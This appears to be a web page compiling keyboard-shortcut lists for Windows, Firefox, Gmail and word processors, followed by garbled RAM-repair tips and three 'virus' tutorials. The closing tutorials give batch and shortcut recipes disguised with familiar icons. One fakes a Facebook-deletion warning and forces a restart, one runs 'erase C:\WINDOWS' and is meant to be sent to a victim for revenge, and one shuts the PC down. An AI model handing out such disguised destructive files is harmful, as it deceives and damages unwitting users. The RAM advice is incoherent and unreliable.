All Keyboard Shortcuts

Generic Hot Keys
+++++++++++++++++++++

Ctrl + C Or Ctrl +Insert

Copy

Ctrl + X Or Shift + Delete

Cut

Ctrl + V Or Shift + Insert

Paste/Move

Ctrl + N

New... File, Tab,Entry, Etc

Ctrl + S

Save

Ctrl + O

Open...

Ctrl + P

Print.

Ctrl + Z

Undo.

Ctrl + A

Select All.

Ctrl + F

Find...

Ctrl+W

To Close The CurrentWindow

Ctrl + F4

Close Tab Or ChildWindow

F1

Open Help.

F11

Toggle Full ScreenMode.

Alt Or F10

Activate Menu Bar.

Alt + Space

Display System Menu.Same As Clicking The Icon On The Titlebar.

Escape

Remove Focus FromCurrent Control/Menu, Or Close Dialog Box.

Windows Hot-Keys

+++++++++++++++++++++++

Shift + F10

Right-Clicks

Win + L (Xp Only)

Locks Keyboard.Similar To Lock Workstation.

Win + F Or F3

Open Find Dialog.(All Files) F3 May Not Work In Some Applications

Which Use F3 ForTheir Own Find Dialogs.

Win + Control + F

Open Find Dialog.(Computers)

Win + U

Open Utility Manager.

Win + F1

Open Windows Help.

Win + Pause

Open SystemProperties Dialog.

Win + Tab

Cycle Through TaskbarButtons. Enter Clicks,

Appskey Or Shift +F10 Right-Clicks.

Win + Shift + Tab

Cycle Through TaskbarButtons In Reverse.

Alt + Tab

Display Coolswitch.More Commonly Known As The Alttab Dialog.

Alt + Shift + Tab

Display Coolswitch;Go In Reverse.

Alt + Escape

Send Active Window ToThe Bottom Of The Z-Order.

Alt + Shift + Escape

Activate The WindowAt The Bottom Of The Z-Order.

Alt + F4

Close Active Window;Or, If All Windows Are Closed,

Open Shutdown Dialog.ShiftWhile A Cd Is Loading: Bypass Autoplay.

Shift While Login

Bypass StartupFolder. Only Those Applications Will Be Ignored Which Are In The StartupFolder, Not Those Started From The Registry(Microsoft\Windows\Currentversion\Run\)

Ctrl + Alt + DeleteOr Ctrl + Alt + Numpaddel (Both Numlock States)

Invoke The TaskManager Or Nt Security Dialog.

Ctrl + Shift + Escape(2000/Xp ) Or (Ctrl + Alt + Numpaddot)

Invoke The TaskManager. On Earlier Oses, Acts Like Ctrl + Escape.

Printscreen

Copy Screenshot OfCurrent Screen To Clipboard.

Alt + Printscreen

Copy Screenshot OfCurrent Active Window To Clipboard.

Ctrl + Alt + DownArrow

Invert Screen.Untested On Oses Other Than Xp.

Ctrl + Alt + Up Arrow

Undo Inversion.

Win + B

Move Focus To SystrayIcons.

Generic Navigation
+++++++++++++++++++++

Tab

Forward One Item.

Shift + Tab

Backward One Item.

Ctrl + Tab

Cycle ThroughTabs/Child Windows.

Ctrl + Shift + Tab

Cycle BackwardsThrough Tabs/Child Windows.

Enter

If A Button'sSelected, Click It, Otherwise, Click Default Button.

Space

Toggle Items Such AsRadio Buttons Or Checkboxes.

Alt + (Letter)

Activate ItemCorresponding To (Letter).

(Letter) Is TheUnderlined Letter On The Item's Name.

Ctrl + Left

Move Cursor To TheBeginning Of Previous Word.

Ctrl + Right

Move Cursor To TheBeginning Of Next Word.

Ctrl + Up

Move Cursor ToBeginning Of Previous Paragraph.

This And AllSubsequent Up/Down Hotkeys

In This Section HaveOnly Been Known To Work In Richedit Controls.

Ctrl + Down

Move Cursor ToBeginning Of Next Paragraph.

Shift + Left

Highlight OneCharacter To The Left.

Shift + Right

Highlight OneCharacter To The Right.

Shift + Up

Highlight FromCurrent Cursor Position, To One Line Up.

Shift + Down

Highlight FromCurrent Cursor Position, To One Line Down.

Ctrl + Shift + Left

Highlight ToBeginning Of Previous Word.

Ctrl + Shift + Right

Highlight ToBeginning Of Next Word.

Ctrl + Shift + Up

Highlight ToBeginning Of Previous Paragraph.

Ctrl + Shift + Down

Highlight ToBeginning Of Next Paragraph.

Home

Move Cursor To Top OfA Scrollable Control.

End

Move Cursor To BottomOf A Scrollable Control.

Generic File Browser

+++++++++++++++++++++++

Arrow Keys

Navigate.

Shift + Arrow Keys

Select MultipleItems.

Ctrl + Arrow Keys

Change Focus WithoutChanging Selection.

"Focus" IsThe Object That Will Run On Enter.

Space TogglesSelection Of The Focused Item.

(Letter)

Select First FoundItem That Begins With (Letter).

Backspace

Go Up One Level ToThe Parent Directory.

Alt + Left

Go Back One Folder.

Alt + Right

Go Forward OneFolder.

Enter

Activate(Double-Click) Selected Item(S).

Alt + Enter

View Properties ForSelected Item.

F2

Rename SelectedItem(S).

Ctrl + Numpadplus

In A Details View,Resizes All Columns To Fit The Longest Item In Each One.

Delete

Delete SelectedItem(S).

Shift + Delete

Delete SelectedItem(S); Bypass Recycle Bin.
Ctrl While Dragging Item(S)Copy.

Ctrl + Shift

While DraggingItem(S) Create Shortcut(S).In Tree Pane,

If Any Left CollapseThe Current Selection If Expanded,

Or Select The ParentFolder.

Right

Expand The CurrentSelection If Collapsed, Or Select The First Subfolder.

Numpadasterisk

Expand CurrentlySelected Directory And All Subdirectories. No Undo.

Numpadplus

Expand CurrentlySelected Directory.

Numpadminus

Collapse Currently SelectedDirectory.

Accessibility
+++++++++++++++

Right Shift For EightSeconds

Toggle Filterkeys OnAnd Off. Filterkeys Must Be Enabled.

Left Alt + Left Shift+ Printscreen

Toggle High ContrastOn And Off. High Contrast Must Be Enabled.

Left Alt + Left Shift+ Numlock

Toggle Mousekeys OnAnd Off. Mousekeys Must Be Enabled.

Numlock For FiveSeconds

Toggle Togglekeys OnAnd Off. Togglekeys Must Be Enabled.

Shift Five Times

Toggle Stickykeys OnAnd Off. Stickykeys Must Be Enabled.

Microsoft Natural Keyboard
+++++++++++++++++++++++++++++++

Win + L

Log Off Windows.

Win + P

Open Print Manager.

Win + C

Open Control Panel.

Win + V

Open Clipboard.

Win + K

Open KeyboardProperties.

Win + I

Open MouseProperties.

Win + A

Open AccessibilityProperties.

Win + Space

Displays The List OfMicrosoft Intellitype Shortcut Keys.

Win + S

Toggle Capslock OnAnd Off.

Remote Desktop Connection Navigation
++++++++++++++++++++++++++++++++++++++++

Ctrl + Alt + End

Open The Nt SecurityDialog.

Alt + Pageup

Switch BetweenPrograms.

Alt + Pagedown

Switch BetweenPrograms In Reverse.

Alt + Insert

Cycle Through ThePrograms In Most Recently Used Order.

Alt + Home

Display Start Menu.

Ctrl + Alt + Break

Switch The ClientComputer Between A Window And A Full Screen.

Alt + Delete

Display The WindowsMenu.

Ctrl + Alt +Numpadminus

Place A Snapshot OfThe Entire Client Window Area On The Terminal Server Clipboard And Provide TheSame Functionality As

Pressing Alt +Printscreen On A Local Computer.

Ctrl + Alt + Numpadplus

Place A Snapshot OfThe Active Window In The Client On The Terminal Server Clipboard And ProvideThe Same Functionality

As PressingPrintscreen On A Local Computer.

List Of F1-F9 Key Commands For TheCommand Prompt

++++++++++++++++++++++++++++++++++++++++++++++++++++++

F1 / Right Arrow

Repeats The LettersOf The Last Command Line, One By One.

F2

Displays A DialogAsking User To "Enter The Char To Copy Up To" Of The Last CommandLine

F3

Repeats The LastCommand Line

F4

Displays A DialogAsking User To "Enter The Char To Delete Up To" Of The Last CommandLine

F5

Goes Back One CommandLine

F6

Enters TheTraditional Ctrl+Z (^Z)

F7

Displays A Menu WithThe Command Line History

F8

Cycles Back ThroughPrevious Command Lines (Beginning With Most Recent)

F9

Displays A DialogAsking User To Enter A Command Number, Where 0 Is For First Command LineEntered.

Alt+Enter

Toggle FullscreenMode.

Up/Down

Scroll Thru/RepeatPrevious Entries

Esc

Delete Line

Note

The Buffer Allows AMaximum Of 50 Command Lines. After This Number Is Reached, The First Line WillBe Replaced In Sequence.

Mozilla Firefox Shortcuts
+++++++++++++++++++++++++

Ctrl + Tab Or Ctrl +Pagedown

Cycle Through Tabs.

Ctrl + Shift + Tab OrCtrl + Pageup

Cycle Through Tabs InReverse.

Ctrl + (1-9)

Switch To TabCorresponding To Number.

Ctrl + N

New Window.

Ctrl + T

New Tab.

Ctrl + L Or Alt + DOr F6

Switch Focus ToLocation Bar.

Ctrl + Enter

Open Location In NewTab.

Shift + Enter

Open Location In NewWindow.

Ctrl + K Or Ctrl + E

Switch Focus ToSearch Bar.

Ctrl + O

Open A Local File.

Ctrl + W

Close Tab, Or WindowIf There's Only One Tab Open.

Ctrl + Shift + W

Close Window.

Ctrl + S

Save Page As A LocalFile.

Ctrl + P

Print Page.

Ctrl + F Or F3

Open Find Toolbar.

Ctrl + G Or F3

Find Next...

Ctrl + Shift + G OrShift + F3

Find Previous...

Ctrl + B Or Ctrl + I

Open BookmarksSidebar.

Ctrl + H

Open History Sidebar.

Escape

Stop Loading Page.

Ctrl + R Or F5

Reload Current Page.

Ctrl + Shift + R OrCtrl + F5

Reload Current Page;Bypass Cache.

Ctrl + U

View Page Source.

Ctrl + D

Bookmark CurrentPage.

Ctrl + Numpadplus OrCtrl + Equals (+/=)

Increase Text Size.

Ctrl + Numpadminus OrCtrl + Minus

Decrease Text Size.

Ctrl + Numpad0 OrCtrl + 0

Set Text Size ToDefault.

Alt + Left OrBackspace

Back.

Alt + Right Or Shift+ Backspace

Forward.

Alt + Home

Open Home Page.

Ctrl + M

Open New Message InIntegrated Mail Client.

Ctrl + J

Open DownloadsDialog.

F6

Switch To Next Frame.You Must Have Selected Something On The Page Already,

E.G. By Use Of Tab.

Shift + F6

Switch To PreviousFrame.

Apostrophe (')

Find Link As YouType.

Slash (/)

Find Text As YouType.

G-Mail Shortcuts

+++++++++++++++++++++

Note

Must Have"Keyboard Shortcuts" On In Settings.

C

Compose New Message.

Shift + C

Open New Window ToCompose New Message.

Slash (/)

Switch Focus ToSearch Box.

K

Switch Focus To TheNext Most Recent Email. Enter Or "O" Opens Focused Email.

J

Switch Focus To TheNext Oldest Email.

N

Switch Focus To TheNext Message In The "Conversation." Enter Or "O"Expands/Collapses Messages.

P

Switch Focus To ThePrevious Message.

U

Takes You Back To TheInbox And Checks For New Mail.

Y

Various ActionsDepending On Current View:
Has No Effect In "Sent" And "All Mail" Views.

Inbox

Archive Email OrMessage.

Starred

Unstar Email OrMessage.

Spam

Unmark As Spam AndMove Back To "Inbox."

Trash

Move Back To"Inbox."

Any Label

Remove The Label.

X

"Check" AnEmail. Various Actions Can Be Performed Against All Checked Emails.

S

"Star" An Email.Identical To The More Familiar Term, "Flagging."

R

Reply To The Email.

A

Reply To AllRecipients Of The Email.

F

Forward An Email.

Shift + R

Reply To The Email InA New Window.

Shift + A

Reply To AllRecipients Of The Email In A New Window.

Shift + F

Forward An Email In ANew Window.

Shift + 1 (!)

Mark An Email As SpamAnd Remove It From The Inbox.

G Then I

Switch To"Inbox" View.

G Then S

Switch To"Starred" View.

G Then A

Switch To "AllMail" View.

G Then C

Switch To"Contacts" View.

G Then S

Switch To"Drafts" View.

Some More Shortcut-Keys.......
+++++++++++++++++++++++++++++++++

F1

Help

F2

Rename An Item

F3

Open Files

Alt+F4

Close Window Or QuitProgram

F10

Activate The Menu BarIn A Program

Ctrl+ Esc

Open Start Menu, UseThe Arrow Keys To Select An Item,

Or Tab To Select TheTaskbar

Alt+ Tab

Return To PreviousProgram, Or Hold Down The Alt Key While Repeatedly

Pressing Tab To CycleThrough Open Programs

Shift+ Del

Delete ItemsPermanently Without Sending To Recycle Bin

Ctrl+ A

Highlight All TheItems In Window

Ctrl+ C

Copy

Ctrl+ X

Cut

Ctrl+ V

Paste

Ctrl+ Z

Undo

Ctrl+ Y

Redo For InternetExplorer And Netscape

Home

Jumps To TheBeginning Of The Page

End

Jumps To The End OfThe Page

Esc

Stops The CurrentPage From Loading

F11

Toggles Full ScreenView

Alt+ Left Arrow

Goes Back To ThePrevious Page

Alt+ Right Arrow

Goes Forward To TheNext Page

Alt+ Home

Goes To Your HomePage

Ctrl+ N

Opens A New BrowserWindow

Ctrl+ W

Closes The ActiveWindow

Ctrl+ O

Opens The AddressBook

Ctrl+ R

Reloads The CurrentPage

Ctrl+ B

Opens The OrganizedFavorites Or Bookmarks Windows

Ctrl+ D

Add The Current PageTo Your Favorites Or Bookmarks

Ctrl+ H

Opens The HistoryFolder

Ctrl+ F

Finds Text On TheCurrent Page

Control Over A To Z

+++++++++++++++++++++++++++++++++

One Of The Keys WhoseImportance May Have Gone Unnoticed By Most Of Us Is The Control Key (Ctrl). TheControl Key In Combination With The 26 Alphabet Keys Can Make A Lot Of Our Work Easier Than We Think. The Following PairOf Keys Can Come In Handy When We Want Tasks Faster Than While Using The Mouse.
Operations That Can Be Performed On The Text Selected:-

Ctrl+ A

Select All

Ctrl+ B

Bold

Ctrl+ C

Copy

Ctrl+ E

Justify Center

Ctrl+ I

Italics

Ctrl+ J

Justify Full

Ctrl+ L

Justify Left

Ctrl+ M

Indent

Ctrl+ Q

Remove ParagraphFormatting

Ctrl+ R

Justify Right

Ctrl+ T

Margin Release

Ctrl+ U

Underline

These Keys Combos Can Be Used To Do Other Operations:-
++++++++++++++++++++++++++++++++++++++++++++++++++++

Ctrl+ D

Opens Font Dialog Box

Ctrl+ F

Find

Ctrl+ G

Go To Page, Section,Line, Heading Etc

Ctrl+ H

Find And Replace

Ctrl+ K

Insert Hyperlink

Ctrl+ N

Open A New Document

Ctrl+ O

Open An ExistingDocument

Ctrl+ S

Save

Ctrl+ W

Close An ExistingDocument

Ctrl+ Y

Redo

Ctrl+ Z

Undo

Besides The Alphabet Keys, A Combination Of Other KeysAlso Helps:-
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Ctrl+ Left Arrow

Jumps One Word Left

Ctrl+ Right Arrow

Jumps One Word Right

Ctrl+ Down Arrow

Jumps One Para Down

Ctrl+ Up Arrow

Jumps One Para Up

Ctrl+ Backspace

Delete One Word Left

Ctrl+ Delete

Delete One Word Right

Ctrl+ Page Up

To The Beginning OfThe Previous Page

Ctrl+ Page Down

To The Beginning OfThe Next Page

Ctrl+ P

Print Dialog Box

How to Fix RAM Error

If the RAM you have problems thenthe computer that we use can not be operated. it makes us irritated. Steps wecan take is to go where the service (for those who do not know the computer).

Here are tips for repairing a damaged RAM, among others How to Fix RAM error:

1. Clean the memory by brushing the pins the memory with the purpose ofcleaning cloth,

2. Use Tiner little so more clean from dust, and frictionwith the cloth will also be fishing the ions at a simulated memory pin to theconductor is more active. or,

3. Use a pencil eraser to clean the pin of memory, using theeraser, the more memory the security alert.

4. Navigate to the Ohm Avometer scale (scale to measurebarriers), free to be in the position of 1K, 10K, 100K ...

5. Take the needle negative (-) Avometer (black cable) thenput on a pin / leg memory, and the needle positive (red wire) on the set offriction on the legs of the IC / chipset memory, when memory has 8 pieces of ICsuch as the needle friction (+) to the legs of 8 IC.

Done ....

Please try to plug the memory intheir slots on the mainboard ....
Actually, this is a secret computer technician, .. if everyone knows, nextcomputer repair shop on the lid.

Hopefullyuseful ...

Facebook Virus

In thistutorial I will show you how to make a Facebook virus using simplecommands on notepad. .This will make the victim think they have got a viruswhen they click on an icon such as Internet Explorer .

1) Open notepad
2) Type this in :

@echo off
msg * WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BEDELETED !!!!TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX!
PAUSE
shutdown -r -t 300 -c " SORRY!!! YOUR FACEBOOK ACCOUNT ARE NOW BEING DELETED !!! PLEASE WAIT ..........."

3)Save as Internet Explorer .bat

4)Right click on Internet Explorer .bat and click Create Shortcut

5)Right click on shorcut and click Properties.

6)Click Change Icon

7) Choose Internet Explorer icon or similar , click OK , then click Apply

8)Delete real shortcut and replace it with fake . When victim click on it , hewill get warning messages that looks like this:

After five minutes windowswill restart , that is all. This is totally harmless and will give you a laugh.Enjoy !

Creat Your Own Virus With Notepad

YesNow it is possible for you to have your own virus. But before doing anythingyourself first of all you need to read the whole article first. And let meremind you that any problem occurs after you do anything then you are solelyresponsible for what has happened and I will not be responsible.

The only thing you need is Notepad.

1. Create a textfile called Test.txt(empty) in C:\

2. Now in yournotepad type "erase C:\Test.txt" (without the quotes).

3. Then save itas "Test.cmd".

4. Now run thefile "Test.cmd"

5. Go to C:\ andyou'll see your Test.txt is gone.

Now, the real work :

1. Go toNotepad.

2. Type eraseC:\WINDOWS

3. Save it aswindows.cmd.

NowDON'T Run the file or you'll lose your WINDOWS map.

So, that's theVirus. In this way you can make a virus to delete any file you want.
Now to take revenge. Send you file to your victim. Once victim opens it.WINDOWS map is Deleted. And he will have to install WINDOWS again.

Beware :

Itssimple but a strong virus that can delete anyones Windows OS ...Note : I am notTaking any Responsibilties if by this you damage your window

PC Shut Down Virus

Do The Following :-
1. Right Click On Your Desktop
2. Then In New Click On Shortcut
3. A Shortcut Wizard Will Appear
4. Type This In The Box:
shutdown -s -t 00
5. Your Done Now Right Click On The
Folder>Properties>Change Icon
6. And Then Choose Any Appropriate Icon
7. For Restart Instead Of
-s Type -r
Enjoy It